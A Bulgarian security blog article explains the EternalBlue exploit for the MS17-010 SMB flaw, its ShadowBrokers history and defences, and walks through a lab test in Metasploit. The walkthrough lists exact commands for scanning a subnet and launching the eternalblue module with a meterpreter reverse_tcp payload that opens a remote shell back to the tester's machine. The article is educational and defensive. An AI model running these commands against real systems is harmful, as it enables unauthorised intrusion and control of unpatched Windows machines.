Cybersec NewsПолезни съветиУязивмости, експлойти, ъпдейти

Как работи EternalBlue

Няма как да не сте чували за WannaCry, NotPetya или BadRabbit. Общото между тях е, че използват именно тази уязвимост, за да придобият контрол върху машината и да започнат своята зловредна дейност.

Спомняте ли си разразилия се преди няколко години скандал, относно изтичането на инструменти за кибершпионаж от американската служба за сигурност (NSA), свързани с компрометиране на машини, работещи под операционна система Windows и Windows Server?

Няма проблем – дори и да не си спомняте или да не сте чували, което е много малко вероятно, в днешната статия ще ви припомним и ще ви запознаем малко по-подробно с един от инструментите и уязвимостта, която той използва, за да придобие достъп до машината с най-високите възможни права.

Може би някои от вас вече се досетиха, че става на въпрос за уязвимост ms17-010 и съпътстващия я експлойт – EternalBlue.

Малко история

Като за начало, нека се върнем малко назад във времето и да си припомним как започна всичко:

През 2017 година хакерска група под името ShadowBrokers публикува в публичното пространство съобщение и аукцион, с които приканва всеки, който иска да се сдобие с инструменти, експлоатиращи т.нар. Zero-Day уязвимости, да участва в наддаване. След серия от неуспешни опити на ShadowBroker да получат „търсената“ от тях сума, те решават да публикуват част от пакета в публичното пространство, при това безплатно, като по този начин докажат, че наистина разполагат с подобни инструменти.

И ето как уязвимостта и експлойта видяха бял свят.

За съжаление, инструментът бързо се превърна в средство за създаване на зловреден код, който нанесе огромни щети и все още продължава да се използва върху машини, които не са приложили съответните ъпдейти на операционните системи, с цел да ги компрометира.

Няма как да не сте чували за WannaCry, NotPetya или BadRabbit. Общото между тях е, че използват именно тази уязвимост, за да придобият контрол върху машината и да започнат своята зловредна дейност.

Какво са EternalBlue и MS17-010?

MS17-010 е уязвимост в сървъра, обслужващ SMB протокола в Windows и Windows Server операционни системи.

*SMB е протокол, който позволява споделянето на файлове и ресурси през мрежата.

За да бъде успешна атаката, EternalBlue използва три бъга, които ние условно ще наречем Бъг 1, Бъг 2 и Бъг 3:

  • Бъг 1 или така нареченият “Wrong Casting Bug” е проблем в процеса по конвертиране на разширените файлови атрибути (FEA) от Os/2 структура към NT такава. Процесът е част от кода на драйвера sys. Няма да се впускаме в големи подробности относно този бъг, а само ще споменем, че при определени условия възниква Buffer Overflow състояние в системен процес, който е стартиран с най-високи привилегии.
  • Бъг 2 или още казано „Wrong Parsing Function Bug” дава възможност последователно да се изпратят две функции, свързани с трансфера на данни SMB_COM_TRANSACTION2 и SMB_COM_NT_TRANSACT, които са част от разширени възможности за достъп до файловата система, като по този начин отново се задейства Бъг 1.
  • Бъг 3 или още познат като „Non-paged Pool Allocation Bug”, отново без да се впускаме в детайли, дава възможност да се задели памет в контекста на ядрото на операционната система, която след това да бъде запълнена с данни, водещи до последователното изпълнение на Бъг 1 и Бъг 2.

Както вече видяхме, експлоатирането на уязвимостта не е тривиално и твърденията на ShadowBrokers, че това е част от „въоръжението“ на NSA за воденето на Cyber Wars, може би не е далеч от истината.

А сега след като знаем малко повече за проблема, нека пристъпим към по-интересната част:

Как да открием дали нашите машини имат необходимите ъпдейти за покриване на бъг MS17-010 и дали сме уязвими към експлойта EternalBlue?

За тази цел ще използваме широко разпространения инструмент за тестване, експлоатиране и инфилтрация Metasploit, инсталиран върху операционна система Kali Linux.

*Как да инсталираме Kali Linux и как да използваме Metasploit, не са предмет на тази статия

Като първа стъпка, нека стартираме Metasploit с командата msfconsole:

След като се зареди приложението, следва първо да проверим какви налични модули има свързани с EternalBlue. За тази цел използваме командата:

  1. search eternalblue -> която ще ни върне като резултат всички модули, които съдържат ключовата дума.

Както виждаме, в библиотеката са намерени няколко инструмента за проверка и експлоатиране на уязвимост MS17-010, като една част са скенери за проверка, а останалите са готови експлойти, с които можем да направим т.нар. PoC (prove of concept).

Нека да преминем към следващата стъпка, а именно, да използваме скенера за намиране на уязвимости, който е под номер 1 в скрийншота, за да открием всички машини в мрежата, които не са покрили тази уязвимост.

Използваме следните две команди последователно:

  1. use auxiliary/scanner/smb/smb_ms17_010 -> зареждаме скенера
  2. options -> извикваме опциите

Виждаме, че има една задължителна променлива RHOSTS, която приема като стойности IP или CIDR (няма да се впускаме в обяснения, относно останалите променливи – нека те да останат за домашна работа ;)

Нека сега зададем стойности на променливата и стартираме скенера за проверка. За тази цел ние използваме виртуалните машини в нашата лаборатория и следните две команди:

  1. set RHOST 192.168.27.0/24 -> нашата лабораторна мрежа
  2. run -> командата с която стартираме скенера

*ВАЖНО: Моля не използвайте следващите стъпки срещу продуктивни машини или за користни цели. FreedomOnline.bg не носи отговорност, ако все пак решите да го направите.

След тази стъпка ще се наложи малко да поизчакате, особено ако сте задали сканиране на по-голяма мрежа. Очакваните резултати от скенера са, той да ни покаже:

  • кои машини са уязвими,
  • кои машини не са уязвими,
  • кои машини вече може би са компрометирани.

Не след дълго се появяват и резултатите:

Ето че открихме машина без приложените пачове, която по всяка вероятност може да бъде компрометирана. За да сме 100% сигурни, че скенерът не е направил т.нар. false positive, Metasploit ни дава възможност да изпълним и exploit срещу уязвимостта. По този начин ние ще „атакуваме“ машината, както би направил злонамерен софтуер или „хакер“, и ще можем да преценим дали и какви евентуални контрамерки да приложим.

За целта, връщайки се към първия скрийншот с резултата от търсене, виждаме, че разполагаме с готов модул а именно:

exploit/windows/smb/ms17_010_eternalblue

От стъпките до тук вече знаем как да заредим модула и да видим неговите опции.

Отново имаме като една задължителна променлива RHOSTS, в която трябва да впишем адреса на „атакуваната“ машина. Преди да пристъпим към това е подходящо да припомним, че в резултат на изпълнението на експлойта и възникването на Buffer Overflow, се очаква изпълнението на код, който ще направи възможни следващи стъпки по „превземане“ на машината. Иначе казано, трябва да зареди и т.н. Payload, който ще бъде изпълнен в контекста на потребителя, стартирал процеса при възникване на описаните по-горе бъгове. В нашия случай това е потребител с най-високи привилегии (дори по-високи от тези Администратора).

За нуждите на теста, ние ще заредим пейлоуд, който при стартирането си ще се свърже обратно към атакуващата машина и ще отвори бекдор, давайки ни възможност да изпълняваме команди отдалечено. Това ще направим в следните стъпки:

  1. set RHOSTS 192.168.27.15 -> адреса на „атакуваната“ машина
  2. set payload windows/x64/meterpreter/reverse_tcp -> зареждаме изпълнимия код за обратна връзка
  3. set LHOST 192.168.88.114 -> адреса на машината, от която тестваме и с която трябва да се свърже изпълнимия код
  4. set LPORT 4000 -> порта за TCP връзка

След което можем да стартираме експлойта.

Не след дълго виждаме и резултата, който е изпълнение на пейлоуда върху „атакуваната“ машина и обратната връзка към машината, от която стартираме тестовете.

С това ще спрем до тук, тъй като целта на статията е да покаже как да открием дали машината или машините ни са уязвими и как да проверим дали резултата от сканирането не е false positive, преди да започнем да „бием камбаните“ за тревога.

С риск да станем досадни, за пореден път ще отправим молба да не използвате статията като „учебник“ по компрометиране и злонамерена намеса в работата на продуктивни машини или такива, за които нямате позволение да бъдат тествани.

Какво да направя ако открия, че машината ми е уязвима или вече е компрометирана?

По-рано споменахме, че скенерът освен да дава информация кои машини са уязвими, намира и вече компрометирани такива. Това става, като освен да сканира за уязвимост MS17-010, скенераът проверява и за вече “имплантиран” бекдор.

Както можем да видим от приложения скрийншот, това е DoublePulsar.

DoublePulsar е backdoor, който върви ръка за ръка с експлойта EternalBlue и е част от пакета с инструменти, публикуван от ShadowBrokers. Иначе казано, веднъж компрометирл машината, като следваща стъпка в така наречения killchain EternalBlue оставя след себе си код, който може да бъде активиран по всяко време, без да се налага експлойта да се изпълнява отново (т.нар. Persistens). По-специалното в случая е, че кодът на този backdoor e изключително професионално написан, което го прави почти невъзможен за откриване.

Това, което можете да направите в случай, че откриете подобна машина, е да сканирате с антивирусна програма и, ако е възможно, да инсталирате най-новите пачове, налични за операционната система. Ако машината е с висока критичност и нямате необходимите ресурси и компетенции, нашата препоръка е да се обърнете към хора, професионално занимаващи се с информационна сигурност, които не са много, и заедно да прецените кой би бил най-правилния подход за решаване на проблема.

Как да се предпазим?

Разбира се, като първа линия на защита, използвайте само лицензиран софтуер, който можете да ъпдейтвате навременно. Ъпдейтите са ключова част в защитата на една система, тъй като освен добавяне на нови или подобряване на съществуващи функционалности, покриват именно такива бъгове, които могат евентуално да бъдат експлоатирани.

На втора линия, използвайте задължително антивирусна защита от сертифициран и признат производител. Дори и понякога да не може да ви предпази от директно експлоатиране на такива бъгове, антивирусната защита е в състояние да улови пост експлоатейшън техники и изпълними злонамерени кодове (напр. пейлоуда който използвахме).

Ако сте фирма и нямате необходимия ресурс за наемане на персонал, който да отговаря за информационната сигурност, или нямате необходимите компетенции, то се обърнете се към външна фирма, която може да поеме тази част от задачите като услуга. На българския пазар вече съществуват добре утвърдени имена, които от години предлагат именно това.

Покажи още
Back to top button